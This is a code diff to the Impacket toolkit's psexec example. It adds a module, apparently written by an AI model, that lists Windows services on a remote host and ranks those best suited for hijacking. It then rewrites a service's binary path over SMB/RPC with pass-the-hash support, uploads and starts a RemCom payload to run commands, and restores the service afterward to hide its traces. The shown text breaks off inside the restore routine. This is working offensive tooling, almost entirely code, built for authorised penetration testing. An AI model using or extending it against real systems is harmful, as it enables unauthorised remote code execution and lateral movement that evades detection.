diff --git a/examples/psexec.py b/examples/psexec.py index 542d72100..9d851b961 100755 --- a/examples/psexec.py +++ b/examples/psexec.py @@ -32,11 +32,11 @@ from six import PY3 from impacket.examples import logger -from impacket import version, smb +from impacket import version, smb, LOG from impacket.smbconnection import SMBConnection -from impacket.dcerpc.v5 import transport +from impacket.dcerpc.v5 import transport, scmr from impacket.structure import Structure -from impacket.examples import remcomsvc, serviceinstall +from impacket.examples import remcomsvc, serviceinstall, servicechange from impacket.examples.utils import parse_target from impacket.krb5.keytab import Keytab @@ -63,11 +63,10 @@ class RemComResponse(Structure): RemComSTDERR = "RemCom_stderr" lock = Lock() - class PSEXEC: def __init__(self, command, path, exeFile, copyFile, port=445, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, kdcHost=None, serviceName=None, - remoteBinaryName=None): + remoteBinaryName=None, service_list=False, service_change=None): self.__username = username self.__password = password self.__port = port @@ -83,12 +82,25 @@ def __init__(self, command, path, exeFile, copyFile, port=445, self.__kdcHost = kdcHost self.__serviceName = serviceName self.__remoteBinaryName = remoteBinaryName + self.__service_list = service_list + self.__service_change = service_change if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') + def run(self, remoteName, remoteHost): + # Handle service list functionality + if self.__service_list: + return self.listServices(remoteName, remoteHost) + + # Handle service hijacking functionality + if self.__service_change is not None: + return self.executeViaServiceHijacking(remoteName, remoteHost) + + # Original psexec functionality stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName logging.debug('StringBinding %s'%stringbinding) + rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_dport(self.__port) rpctransport.setRemoteHost(remoteHost) @@ -96,6 +108,7 @@ def run(self, remoteName, remoteHost): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) + rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) self.doStuff(rpctransport) @@ -113,11 +126,334 @@ def openPipe(self, s, tid, pipe, accessMask): if tries == 0: raise Exception('Pipe not ready, aborting') - fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80) return fid + def listServices(self, remoteName, remoteHost): + """List all services and mark suitable ones for hijacking""" + # Service listing functionality for hijacking analysis + LOG.info("Listing services on %s" % remoteHost) + + try: + # Create SMB connection + stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName + rpctransport = transport.DCERPCTransportFactory(stringbinding) + rpctransport.set_dport(self.__port) + rpctransport.setRemoteHost(remoteHost) + + if hasattr(rpctransport, 'set_credentials'): + rpctransport.set_credentials(self.__username, self.__password, self.__domain, + self.__lmhash, self.__nthash, self.__aesKey) + + rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) + + # Create SMB connection for service changer + dce = rpctransport.get_dce_rpc() + dce.connect() + smb_connection = rpctransport.get_smb_connection() + + # Create service changer + service_changer = servicechange.ServiceChanger(smb_connection, remoteHost) + + # Get all services + services = service_changer.listAllServices() + + # Filter only suitable services + suitable_services = [s for s in services if s.is_suitable] + + if not suitable_services: + print("\n" + "="*120) + print("NO SUITABLE SERVICES FOUND FOR HIJACKING") + print("="*120) + return True + + # Print header + print("\n" + "="*120) + print("SUITABLE SERVICES FOR HIJACKING - %s" % remoteHost) + print("="*120) + print("%-30s %-15s %-15s %-15s %-20s" % + ("SERVICE NAME", "START TYPE", "STATUS", "ACCOUNT", "PRIORITY")) + print("-"*120) + + # Sort services by priority (lower number = higher priority) + suitable_services.sort(key=lambda x: x.priority) + + # Print only suitable services + for service in suitable_services: + start_type_map = { + 1: "BOOT", + 2: "SYSTEM", + 3: "MANUAL", + 4: "DISABLED" + } + start_type_str = start_type_map.get(service.start_type, "UNKNOWN") + + print("%-30s %-15s %-15s %-15s %-20s" % + (service.service_name[:30], start_type_str, "STOPPED", + service.start_name[:15] if service.start_name else "N/A", + str(service.priority))) + + print("="*120) + print("Total suitable services: %d" % len(suitable_services)) + print("="*120) + + return True + + except Exception as e: + LOG.critical("Error listing services: %s" % str(e)) + return False + + def executeViaServiceHijacking(self, remoteName, remoteHost): + """Execute command via service hijacking""" + # Main service hijacking execution method + LOG.info("Executing command via service hijacking: %s" % self.__command) + + try: + # Create SMB connection + stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName + rpctransport = transport.DCERPCTransportFactory(stringbinding) + rpctransport.set_dport(self.__port) + rpctransport.setRemoteHost(remoteHost) + + if hasattr(rpctransport, 'set_credentials'): + rpctransport.set_credentials(self.__username, self.__password, self.__domain, + self.__lmhash, self.__nthash, self.__aesKey) + + rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) + + # Create SMB connection for service changer + dce = rpctransport.get_dce_rpc() + dce.connect() + smb_connection = rpctransport.get_smb_connection() + + # Create service changer + service_changer = servicechange.ServiceChanger(smb_connection, remoteHost) + + # Find suitable service or use specified one + if self.__service_change: + # Use specified service + LOG.info("Using specified service: %s" % self.__service_change) + service_name = self.__service_change + + # Verify service exists and is suitable + scm_handle = service_changer.openSvcManager() + service_info = service_changer.getServiceInfo(service_name, scm_handle) + scmr.hRCloseServiceHandle(service_changer.rpcsvc, scm_handle) + + if not service_info.service_name: + LOG.critical("Service %s not found" % service_name) + return False + + if not service_changer.isServiceSuitable(service_info): + LOG.critical("Service %s is not suitable: %s" % (service_name, service_info.reason)) + return False + else: + # Find a suitable service automatically + LOG.info("Looking for suitable service...") + service_info = service_changer.findSuitableService() + if not service_info: + LOG.critical("No suitable service found for hijacking") + return False + service_name = service_info.service_name + + LOG.info("Selected service for hijacking: %s" % service_name) + + # Step 1: Prepare service hijacking (restore original config first, then backup) + LOG.info("Preparing service hijacking...") + # Restore service to original state if previously hijacked + + # First, try to restore service to original state if it was previously hijacked + LOG.info("Checking if service needs restoration to original state...") + try: + # Get current service info to check if it's been hijacked + scm_handle = service_changer.openSvcManager() + current_info = service_changer.getServiceInfo(service_name, scm_handle) + scmr.hRCloseServiceHandle(service_changer.rpcsvc, scm_handle) + if current_info.binary_path_name and ('RemCom' in current_info.binary_path_name or not current_info.binary_path_name.endswith('.exe') or 'alg.exe' not in current_info.binary_path_name.lower()): + LOG.info("Service appears to be hijacked, attempting to restore original configuration...") + # Try to restore using a default configuration + from impacket.examples.servicechange import ServiceInfo + default_config = ServiceInfo() + default_config.binary_path_name = "C:\\Windows\\System32\\alg.exe" if service_name == "ALG" else "C:\\Windows\\system32\\ntfrs.exe" if service_name == "NtFrs" else "C:\\Windows\\system32\\vssvc.exe" if service_name == "VSS" else "C:\\Windows\\system32\\SearchIndexer.exe" if service_name == "WSearch" else "C:\\Windows\\System32\\snmptrap.exe" if service_name == "SNMPTRAP" else "C:\\Windows\\system32\\locator.exe" if service_name == "RpcLocator" else "" + default_config.start_type = 3 # MANUAL + default_config.start_name = "NT AUTHORITY\\LocalService" if service_name in ["ALG", "SNMPTRAP"] else "LocalSystem" + service_changer.restoreServiceConfig(service_name, default_config) + LOG.info("Service restored to default configuration") + except Exception as e: + LOG.debug("Could not restore service to original state: %s" % str(e)) + + # Now backup the (hopefully) original configuration + original_config = service_changer.backupServiceConfig(service_name) + + # Upload RemComSvc file (use custom file if specified) + from impacket.examples import serviceinstall + + # Determine which executable to use + if self.__exeFile is not None: + # Use custom file specified with -file parameter + LOG.info("Using custom executable: %s" % self.__exeFile) + try: + exe_file = open(self.__exeFile, 'rb') + except Exception as e: + LOG.critical("Error opening custom executable %s: %s" % (self.__exeFile, str(e))) + return False + installService = serviceinstall.ServiceInstall(service_changer.connection, exe_file, service_name, self.__remoteBinaryName) + remcom_filename = installService.binaryServiceName + service_changer.uploadFile(exe_file, "System32\\" + remcom_filename) + else: + # Use default RemComSvc + LOG.info("Using default RemComSvc executable") + installService = serviceinstall.ServiceInstall(service_changer.connection, remcomsvc.RemComSvc(), service_name, self.__remoteBinaryName) + remcom_svc = remcomsvc.RemComSvc() + remcom_filename = installService.binaryServiceName + service_changer.uploadFile(remcom_svc, "System32\\" + remcom_filename) + + # Handle -c parameter (copy file and modify command) + if self.__copyFile is not None: + LOG.info("Copying file for execution: %s" % self.__copyFile) + try: + # Copy the file to target + service_changer.uploadFile(open(self.__copyFile, 'rb'), "System32\\" + os.path.basename(self.__copyFile)) + # Modify command to use the copied file + self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command + LOG.info("Modified command to: %s" % self.__command) + except Exception as e: + LOG.critical("Error copying file %s: %s" % (self.__copyFile, str(e))) + return False + + # Hijack service with RemComSvc + full_remcom_path = "C:\\Windows\\System32\\" + remcom_filename + if not service_changer.hijackService(service_name, full_remcom_path): + LOG.critical("Failed to hijack service") + return False + + LOG.info("Service hijacked successfully, now executing command...") + + # Step 2: Execute command through hijacked service + # The service is already hijacked with RemComSvc, now we need to communicate with it + LOG.info("Executing command through hijacked service...") + # Execute command through the hijacked service + + # Create SMB connection for communication + stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName + rpctransport = transport.DCERPCTransportFactory(stringbinding) + rpctransport.set_dport(self.__port) + rpctransport.setRemoteHost(remoteHost) + if hasattr(rpctransport, 'set_credentials'): + rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aesKey) + rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) + + # Execute command through the hijacked service using doStuff logic + # but skip the service installation part since we already hijacked a service + self.executeCommandViaHijackedService(rpctransport, service_changer, service_name) + + # Step 3: Restore original service configuration + LOG.info("Restoring original service configuration...") + # Restore service to original state after command execution + LOG.info("Original config - Binary Path: %s" % original_config.binary_path_name) + LOG.info("Original config - Start Type: %d" % original_config.start_type) + LOG.info("Original config - Start Name: %s" % original_config.start_name) + if not service_changer.restoreServiceConfig(service_name, original_config): + LOG.warning("Failed to restore service configuration") + else: + LOG.info("Service configuration restored successfully") + + # Cleanup uploaded files + service_changer.cleanupFiles() + + # Cleanup -c parameter file if used + if self.__copyFile is not None: + try: + LOG.info("Cleaning up copied file: %s" % os.path.basename(self.__copyFile)) + service_changer.connection.deleteFile("ADMIN$", "System32\\" + os.path.basename(self.__copyFile)) + except Exception as e: + LOG.warning("Failed to cleanup copied file: %s" % str(e)) + + return True + + except Exception as e: + LOG.critical("Error executing via service hijacking: %s" % str(e)) + return False + + def executeCommandViaHijackedService(self, rpctransport, service_changer, service_name): + """Execute command through already hijacked service""" + # Command execution through hijacked service + dce = rpctransport.get_dce_rpc() + try: + dce.connect() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.critical(str(e)) + sys.exit(1) + + global dialect + dialect = rpctransport.get_smb_connection().getDialect() + + try: + s = rpctransport.get_smb_connection() + s.setTimeout(100000) + + # Connect to IPC$ and open communication pipe + tid = s.connectTree('IPC$') + fid_main = self.openPipe(s, tid, r'\RemCom_communicaton', 0x12019f) + + # Create command message + packet = RemComMessage() + pid = os.getpid() + packet['Machine'] = ''.join([random.choice(string.ascii_letters) for _ in range(4)]) + if self.__path is not None: + packet['WorkingDir'] = self.__path + packet['Command'] = self.__command + packet['ProcessID'] = pid + + # Send command to hijacked service + s.writeNamedPipe(tid, fid_main, packet.getData()) + + global LastDataSent + LastDataSent = '' + + # Start communication pipes + stdin_pipe = RemoteStdInPipe(rpctransport, + r'\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']), + smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, None) + stdin_pipe.start() + stdout_pipe = RemoteStdOutPipe(rpctransport, + r'\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']), + smb.FILE_READ_DATA) + stdout_pipe.start() + stderr_pipe = RemoteStdErrPipe(rpctransport, + r'\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']), + smb.FILE_READ_DATA) + stderr_pipe.start() + + # Wait for response + ans = s.readNamedPipe(tid, fid_main, 8) + if len(ans): + retCode = RemComResponse(ans) + logging.info("Process %s finished with ErrorCode: %d, ReturnCode: %d" % ( + self.__command, retCode['ErrorCode'], retCode['ReturnCode'])) + + # Stop the hijacked service after command execution + logging.info("Stopping hijacked service after command execution...") + if not service_changer.stopService(service_name): + logging.warning("Failed to stop hijacked service") + + sys.exit(retCode['ErrorCode']) + + except SystemExit: + raise + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.debug(str(e)) + sys.stdout.flush() + sys.exit(1) + def doStuff(self, rpctransport): dce = rpctransport.get_dce_rpc() @@ -136,8 +472,6 @@ def doStuff(self, rpctransport): try: unInstalled = False s = rpctransport.get_smb_connection() - - # We don't wanna deal with timeouts from now on. s.setTimeout(100000) if self.__exeFile is None: installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc(), self.__serviceName, self.__remoteBinaryName) @@ -148,22 +482,17 @@ def doStuff(self, rpctransport): logging.critical(str(e)) sys.exit(1) installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), f, self.__serviceName, self.__remoteBinaryName) - if installService.install() is False: return if self.__exeFile is not None: f.close() - # Check if we need to copy a file for execution if self.__copyFile is not None: installService.copy_file(self.__copyFile, installService.getShare(), os.path.basename(self.__copyFile)) - # And we change the command to be executed to this filename self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command - tid = s.connectTree('IPC$') fid_main = self.openPipe(s,tid,r'\RemCom_communicaton',0x12019f) - packet = RemComMessage() pid = os.getpid() @@ -175,12 +504,10 @@ def doStuff(self, rpctransport): s.writeNamedPipe(tid, fid_main, packet.getData()) - # Here we'll store the command we type so we don't print it back ;) - # ( I know.. globals are nasty :P ) + global LastDataSent LastDataSent = '' - # Create the pipes threads stdin_pipe = RemoteStdInPipe(rpctransport, r'\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']), smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, installService.getShare()) @@ -193,14 +520,13 @@ def doStuff(self, rpctransport): r'\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']), smb.FILE_READ_DATA) stderr_pipe.start() - - # And we stay here till the end ans = s.readNamedPipe(tid,fid_main,8) if len(ans): retCode = RemComResponse(ans) logging.info("Process %s finished with ErrorCode: %d, ReturnCode: %d" % ( self.__command, retCode['ErrorCode'], retCode['ReturnCode'])) + installService.uninstall() if self.__copyFile is not None: # We copied a file for execution, let's remove it @@ -244,6 +570,7 @@ def connectPipe(self): #self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT) self.server = SMBConnection(self.transport.get_smb_connection().getRemoteName(), self.transport.get_smb_connection().getRemoteHost(), sess_port=self.port, preferredDialect=dialect) + user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials if self.transport.get_kerberos() is True: self.server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS) @@ -261,7 +588,6 @@ def connectPipe(self): traceback.print_exc() logging.error("Something wen't wrong connecting the pipes(%s), try again" % self.__class__) - class RemoteStdOutPipe(Pipes): def __init__(self, transport, pipe, permisssions): Pipes.__init__(self, transport, pipe, permisssions) @@ -270,7 +596,6 @@ def run(self): self.connectPipe() global LastDataSent - if PY3: __stdoutOutputBuffer, __stdoutData = b"", b"" @@ -306,9 +631,6 @@ def run(self): __stdoutData = b"\n".join(lines[:-1]) + b"\n" # Remainder data for next iteration __stdoutOutputBuffer = lines[-1] - # print("[+] newline in __stdoutOutputBuffer") - # print(" | __stdoutData:",__stdoutData) - # print(" | __stdoutOutputBuffer:",__stdoutOutputBuffer) if len(__stdoutData) != 0: # There is data to print @@ -387,6 +709,7 @@ def __init__(self, transport, pipe, permisssions): def run(self): self.connectPipe() + if PY3: __stderrOutputBuffer, __stderrData = b'', b'' @@ -398,15 +721,12 @@ def run(self): else: try: if len(stderr_ans) != 0: - # Append new data to the buffer while there is data to read - __stderrOutputBuffer += stderr_ans if b'\n' in __stderrOutputBuffer: # We have read a line, print buffer if it is not empty lines = __stderrOutputBuffer.split(b"\n") # All lines, we shouldn't have encoding errors __stderrData = b"\n".join(lines[:-1]) + b"\n" - # Remainder data for next iteration __stderrOutputBuffer = lines[-1] if len(__stderrData) != 0: @@ -467,7 +787,6 @@ def run(self): except: pass - class RemoteShell(cmd.Cmd): def __init__(self, server, port, credentials, tid, fid, share, transport): cmd.Cmd.__init__(self, False) @@ -538,6 +857,7 @@ def do_lput(self, s): src_file = os.path.basename(src_path) fh = open(src_path, 'rb') + f = dst_path + '/' + src_file pathname = f.replace('/','\\') logging.info("Uploading %s to %s\\%s" % (src_file, self.share, dst_path)) @@ -568,7 +888,6 @@ def default(self, line): self.send_data(line.encode(CODEC)+b'\r\n') else: self.send_data(line.decode(sys.stdin.encoding).encode(CODEC)+'\r\n') - def send_data(self, data, hideOutput = True): if hideOutput is True: global LastDataSent @@ -633,6 +952,12 @@ def run(self): ' used to trigger the payload') group.add_argument('-remote-binary-name', action='store', metavar="remote_binary_name", default = None, help='This will ' 'be the name of the executable uploaded on the target') + + group = parser.add_argument_group('service hijacking') + # Service hijacking functionality arguments + + group.add_argument('-service-list', action='store_true', help='List all services on target and mark suitable ones for hijacking') + group.add_argument('-service-change', action='store', metavar="service_name", help='Execute command by hijacking specified service') if len(sys.argv)==1: parser.print_help() @@ -641,7 +966,17 @@ def run(self): options = parser.parse_args() # Init the example's logger theme - logger.init(options.ts, options.debug) + # Handle different versions of impacket logger.init() + try: + # Try the newer API with both ts and debug parameters + logger.init(options.ts, options.debug) + except TypeError: + try: + # Fallback for versions that only accept debug parameter + logger.init(options.debug) + except TypeError: + # Fallback for versions that don't accept any parameters + logger.init() if options.codec is not None: CODEC = options.codec @@ -673,5 +1008,6 @@ def run(self): command = 'cmd.exe' executer = PSEXEC(command, options.path, options.file, options.c, int(options.port), username, password, domain, options.hashes, - options.aesKey, options.k, options.dc_ip, options.service_name, options.remote_binary_name) + options.aesKey, options.k, options.dc_ip, options.service_name, options.remote_binary_name, + options.service_list, options.service_change) executer.run(remoteName, options.target_ip) diff --git a/impacket/examples/servicechange.py b/impacket/examples/servicechange.py new file mode 100644 index 000000000..efbb6d05d --- /dev/null +++ b/impacket/examples/servicechange.py @@ -0,0 +1,679 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Service Change Helper library - Modify existing Windows services +# Based on SharpNoPSExec logic for service hijacking and restoration +# +# Author: +# Based on SharpNoPSExec by Julio UreƱa (PlainText) +# Adapted for Impacket by Assistant +# + +import random +import string +import time +import os +from impacket.dcerpc.v5 import transport, srvs, scmr +from impacket import smb, smb3, LOG +from impacket.smbconnection import SMBConnection +from impacket.smb3structs import FILE_WRITE_DATA, FILE_DIRECTORY_FILE +from impacket.examples import remcomsvc + +class ServiceInfo: + """Service information structure""" + def __init__(self): + self.service_name = "" + self.display_name = "" + self.service_type = 0 + self.start_type = 0 + self.error_control = 0 + self.binary_path_name = "" + self.load_order_group = "" + self.tag_id = 0 + self.dependencies = "" + self.start_name = "" + self.service_handle = None + self.current_status = 0 + self.is_suitable = False + self.reason = "" + self.priority = 999 + +class ServiceChanger: + def __init__(self, SMBObject, target_host=""): + """ + Initialize ServiceChanger + + Args: + SMBObject: SMB connection object (SMBConnection, smb.SMB, or smb3.SMB3) + target_host: Target hostname or IP address + """ + self._rpctransport = 0 + self.target_host = target_host + self.connection = None + self.rpcsvc = None + self.share = None + self.uploaded_files = [] + + # Convert SMB object to SMBConnection if needed + if isinstance(SMBObject, smb.SMB) or isinstance(SMBObject, smb3.SMB3): + self.connection = SMBConnection(existingConnection=SMBObject) + else: + self.connection = SMBObject + + def openSvcManager(self): + """Open Service Control Manager""" + LOG.info("Opening SVCManager on %s....." % self.connection.getRemoteHost()) + + self._rpctransport = transport.SMBTransport( + self.connection.getRemoteHost(), + self.connection.getRemoteHost(), + filename=r'\svcctl', + smb_connection=self.connection + ) + + self.rpcsvc = self._rpctransport.get_dce_rpc() + self.rpcsvc.connect() + self.rpcsvc.bind(scmr.MSRPC_UUID_SCMR) + + try: + resp = scmr.hROpenSCManagerW(self.rpcsvc) + except: + LOG.critical("Error opening SVCManager on %s....." % self.connection.getRemoteHost()) + raise Exception('Unable to open SVCManager') + else: + return resp['lpScHandle'] + + def getServiceInfo(self, service_name, scm_handle): + """Get detailed information about a specific service""" + LOG.info("Querying service %s" % service_name) + service_info = ServiceInfo() + service_info.service_name = service_name + + try: + resp = scmr.hROpenServiceW(self.rpcsvc, scm_handle, service_name + '\x00') + service_handle = resp['lpServiceHandle'] + + config_resp = scmr.hRQueryServiceConfigW(self.rpcsvc, service_handle) + config = config_resp['lpServiceConfig'] + + status_resp = scmr.hRQueryServiceStatus(self.rpcsvc, service_handle) + status = status_resp['lpServiceStatus'] + service_info.service_type = config['dwServiceType'] + service_info.start_type = config['dwStartType'] + service_info.error_control = config['dwErrorControl'] + service_info.binary_path_name = config['lpBinaryPathName'] + service_info.load_order_group = config['lpLoadOrderGroup'] + service_info.tag_id = config['dwTagId'] + service_info.dependencies = config['lpDependencies'] + service_info.start_name = config['lpServiceStartName'] + service_info.display_name = config['lpDisplayName'] + service_info.service_handle = service_handle + service_info.current_status = status['dwCurrentState'] + scmr.hRCloseServiceHandle(self.rpcsvc, service_handle) + + except Exception as e: + LOG.error("Error getting service info for %s: %s" % (service_name, str(e))) + service_info.reason = "Error querying service: %s" % str(e) + + return service_info + + def isServiceSuitable(self, service_info): + """ + Check if a service is suitable for hijacking based on priority system + Based on successful hijacking patterns: ALG, SNMPTRAP, RpcLocator + + Priority factors (lower number = higher priority): + 1. Service status (stopped = higher priority) + 2. Binary path type (direct exe = higher priority) + 3. Service type (WIN32_OWN_PROCESS = highest priority) + 4. Account type (system accounts = higher priority) + 5. Start type (disabled/manual = higher priority) + 6. Dependencies (no deps = higher priority) + """ + # Service suitability analysis for hijacking + try: + priority = 0 + + if service_info.current_status != scmr.SERVICE_STOPPED: + service_info.reason = "Service is not stopped (current status: %d, expected: %d)" % (service_info.current_status, scmr.SERVICE_STOPPED) + return False + + if not service_info.binary_path_name or not service_info.binary_path_name.strip(): + service_info.reason = "Service has no binary path" + return False + binary_path = service_info.binary_path_name.strip().rstrip('\x00') + if ' ' in binary_path: + exe_name = binary_path.split(' ')[0] + else: + exe_name = binary_path + + exe_name = exe_name.split('\\')[-1].lower() + if exe_name == 'svchost.exe': + priority += 30 + elif exe_name in ['services.exe', 'winlogon.exe', 'csrss.exe', 'lsass.exe', 'wininit.exe']: + priority += 25 + elif exe_name.endswith('.exe'): + priority += 0 + elif exe_name.endswith(('.com', '.bat', '.cmd')): + priority += 2 + else: + priority += 10 + + if service_info.service_type == scmr.SERVICE_WIN32_OWN_PROCESS: + priority += 0 + elif service_info.service_type == scmr.SERVICE_WIN32_SHARE_PROCESS: + priority += 2 + elif service_info.service_type == scmr.SERVICE_KERNEL_DRIVER: + priority += 20 + elif service_info.service_type == scmr.SERVICE_FILE_SYSTEM_DRIVER: + priority += 20 + else: + priority += 5 + + clean_start_name = service_info.start_name.rstrip('\x00').strip().lower() if service_info.start_name else "" + if clean_start_name in ["localsystem", ""]: + priority += 0 + elif clean_start_name in ["nt authority\\localservice", "nt authority\\networkservice"]: + priority += 1 + elif "nt authority" in clean_start_name: + priority += 3 + else: + priority += 8 + + if service_info.start_type == scmr.SERVICE_DISABLED: + priority += 0 + elif service_info.start_type == scmr.SERVICE_DEMAND_START: + priority += 1 + else: + priority += 5 + + if service_info.dependencies and service_info.dependencies.strip(): + priority += 2 + deps_info = "has dependencies" + else: + priority += 0 + deps_info = "no dependencies" + + if exe_name in ['alg.exe', 'snmptrap.exe', 'locator.exe']: + priority -= 5 + + if 'system32' in binary_path.lower(): + priority -= 1 + if priority > 15: + service_info.reason = "Service priority too low (%d > 15): %s, %s, %s" % (priority, exe_name, clean_start_name or "LocalSystem", deps_info) + return False + service_type_map = { + 1: "KERNEL_DRIVER", + 2: "FILE_SYSTEM_DRIVER", + 4: "ADAPTER", + 8: "RECOGNIZER_DRIVER", + 16: "WIN32_OWN_PROCESS", + 32: "WIN32_SHARE_PROCESS", + 256: "INTERACTIVE_PROCESS" + } + service_type_str = service_type_map.get(service_info.service_type, "UNKNOWN") + + service_info.priority = priority + service_info.is_suitable = True + service_info.reason = "Suitable for hijacking (priority: %d, %s, %s, %s, %s)" % (priority, service_type_str, exe_name, clean_start_name or "LocalSystem", deps_info) + return True + + except Exception as e: + service_info.reason = "Error checking service suitability: %s" % str(e) + LOG.error("Error in isServiceSuitable for %s: %s" % (service_info.service_name, str(e))) + return False + + def listAllServices(self): + """List all services and mark suitable ones for hijacking""" + LOG.info("Listing all services on %s....." % self.connection.getRemoteHost()) + + try: + scm_handle = self.openSvcManager() + services = scmr.hREnumServicesStatusW(self.rpcsvc, scm_handle) + + service_list = [] + suitable_count = 0 + + for service in services: + service_info = self.getServiceInfo(service['lpServiceName'], scm_handle) + if service_info.service_name: + is_suitable = self.isServiceSuitable(service_info) + if is_suitable: + service_list.append(service_info) + suitable_count += 1 + + scmr.hRCloseServiceHandle(self.rpcsvc, scm_handle) + LOG.info("Suitable for hijacking: %d" % suitable_count) + return service_list + + except Exception as e: + LOG.critical("Error listing services: %s" % str(e)) + raise + + def findSuitableService(self, preferred_service=None): + """ + Find a suitable service for hijacking + Priority: 1. Disabled + Stopped + LocalSystem + 2. Manual + Stopped + LocalSystem + """ + LOG.info("Looking for suitable service for hijacking...") + + try: + scm_handle = self.openSvcManager() + services = scmr.hREnumServicesStatusW(self.rpcsvc, scm_handle) + + suitable_services = [] + + for service in services: + service_info = self.getServiceInfo(service['lpServiceName'], scm_handle) + if service_info.service_name and service_info.start_type == scmr.SERVICE_DISABLED: + if self.isServiceSuitable(service_info): + suitable_services.append(service_info) + LOG.info("Found suitable Disabled service: %s" % service_info.service_name) + + if not suitable_services: + for service in services: + service_info = self.getServiceInfo(service['lpServiceName'], scm_handle) + if service_info.service_name and service_info.start_type == scmr.SERVICE_DEMAND_START: + if self.isServiceSuitable(service_info): + suitable_services.append(service_info) + LOG.info("Found suitable Manual service: %s" % service_info.service_name) + + scmr.hRCloseServiceHandle(self.rpcsvc, scm_handle) + + if suitable_services: + selected = random.choice(suitable_services) + LOG.info("Selected service for hijacking: %s" % selected.service_name) + return selected + else: + LOG.warning("No suitable services found for hijacking") + return None + + except Exception as e: + LOG.critical("Error finding suitable service: %s" % str(e)) + raise + + def backupServiceConfig(self, service_name): + """Backup original service configuration""" + LOG.info("Backing up configuration for service %s" % service_name) + + try: + scm_handle = self.openSvcManager() + service_info = self.getServiceInfo(service_name, scm_handle) + scmr.hRCloseServiceHandle(self.rpcsvc, scm_handle) + + if service_info.service_name: + LOG.info("Service backup completed:") + LOG.info(" - Binary Path: %s" % service_info.binary_path_name) + LOG.info(" - Start Type: %d" % service_info.start_type) + LOG.info(" - Start Name: %s" % service_info.start_name) + return service_info + else: + raise Exception("Failed to get service information") + + except Exception as e: + LOG.critical("Error backing up service config: %s" % str(e)) + raise + + def hijackService(self, service_name, payload): + """Hijack service by modifying its configuration to execute payload""" + # Main service hijacking method + LOG.info("Hijacking service %s with payload: %s" % (service_name, payload)) + + try: + scm_handle = self.openSvcManager() + + resp = scmr.hROpenServiceW(self.rpcsvc, scm_handle, service_name + '\x00') + service_handle = resp['lpServiceHandle'] + scmr.hRChangeServiceConfigW( + self.rpcsvc, service_handle, + scmr.SERVICE_NO_CHANGE, + scmr.SERVICE_DEMAND_START, + scmr.SERVICE_NO_CHANGE, + payload + '\x00', + scmr.NULL, + scmr.NULL, + scmr.NULL, + 0, + scmr.NULL, + scmr.NULL, + 0, + scmr.NULL + ) + + LOG.info("Service configuration modified successfully") + LOG.info("Starting service to execute payload...") + scmr.hRStartServiceW(self.rpcsvc, service_handle) + + scmr.hRCloseServiceHandle(self.rpcsvc, service_handle) + scmr.hRCloseServiceHandle(self.rpcsvc, scm_handle) + + return True + + except Exception as e: + LOG.critical("Error hijacking service: %s" % str(e)) + return False + + def startService(self, service_name): + """Start a service""" + LOG.info("Starting service %s..." % service_name) + + try: + scm_handle = self.openSvcManager() + resp = scmr.hROpenServiceW(self.rpcsvc, scm_handle, service_name + '\x00') + service_handle = resp['lpServiceHandle'] + + scmr.hRStartServiceW(self.rpcsvc, service_handle) + scmr.hRCloseServiceHandle(self.rpcsvc, service_handle) + scmr.hRCloseServiceHandle(self.rpcsvc, scm_handle) + + LOG.info("Service %s started successfully" % service_name) + return True + + except Exception as e: + LOG.error("Error starting service %s: %s" % (service_name, str(e))) + return False + + def stopService(self, service_name): + """Stop a service if it's running""" + try: + scm_handle = self.openSvcManager() + resp = scmr.hROpenServiceW(self.rpcsvc, scm_handle, service_name + '\x00') + service_handle = resp['lpServiceHandle'] + + try: + scmr.hRControlService(self.rpcsvc, service_handle, scmr.SERVICE_CONTROL_STOP) + LOG.info("Service %s stopped successfully" % service_name) + except: + LOG.debug("Service %s was not running or already stopped" % service_name) + + scmr.hRCloseServiceHandle(self.rpcsvc, service_handle) + scmr.hRCloseServiceHandle(self.rpcsvc, scm_handle) + return True + + except Exception as e: + LOG.warning("Error stopping service %s: %s" % (service_name, str(e))) + return False + + def restoreServiceConfig(self, service_name, original_config): + """Restore original service configuration""" + # Restore service to original state after hijacking + LOG.info("Restoring original service configuration for %s..." % service_name) + + scm_handle = None + service_handle = None + + try: + LOG.info("Stopping service %s before restoration..." % service_name) + self.stopService(service_name) + + import time + time.sleep(2) + + scm_handle = self.openSvcManager() + if scm_handle == 0: 